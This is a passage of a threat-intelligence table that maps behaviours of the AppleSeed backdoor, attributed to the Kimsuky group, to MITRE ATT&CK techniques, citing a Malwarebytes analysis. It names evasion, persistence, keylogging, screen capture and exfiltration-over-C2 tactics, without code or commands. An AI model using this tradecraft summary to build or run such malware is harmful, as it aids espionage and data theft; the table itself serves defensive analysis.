Defense Evasion	T1070.004	Indicator Removal on Host: File Deletion	Delete its exfiltrated data to cover its tracks
Defense Evasion	T1112	Modify Registry	modify the Run registry key
Defense Evasion	T1027	Obfuscated Files or Information	– All the strings and API calls are obfuscated using custom encryption – The dropped payload is packed with UPX
Defense Evasion	T1218.010	Signed Binary Proxy Execution: Regsvr32	Load payload through Regsvr32
Credential Access	T1056.001	Input Capture: Keylogging	Log keystrokes on the victim's machine
Discovery	T1083	File and Directory Discovery	Obtain file and directory listings

Discovery	T1082	System Information Discovery	Collect OS type and volume serial number
Collection	T1560	Archive Collected Data	Compress and encrypt collected data prior to exfiltration
Collection	T1005	Data from Local System	Collect data from local system
Collection	T1025	Data from Removable Media	Collect data from removable media
Collection	T1056.001	Input Capture: Keylogging	Log keystrokes on the victim's machine
Collection	T1113	Screen Capture	Capture screenshots
Command and Control	T1001	Data Obfuscation	Encrypt data for exfiltration
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	Use HTTP for command and control communication
Exfiltration	T1041	Exfiltration Over C2 Channel	Exfiltrate data over the same channel used for C2

Source: <https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/>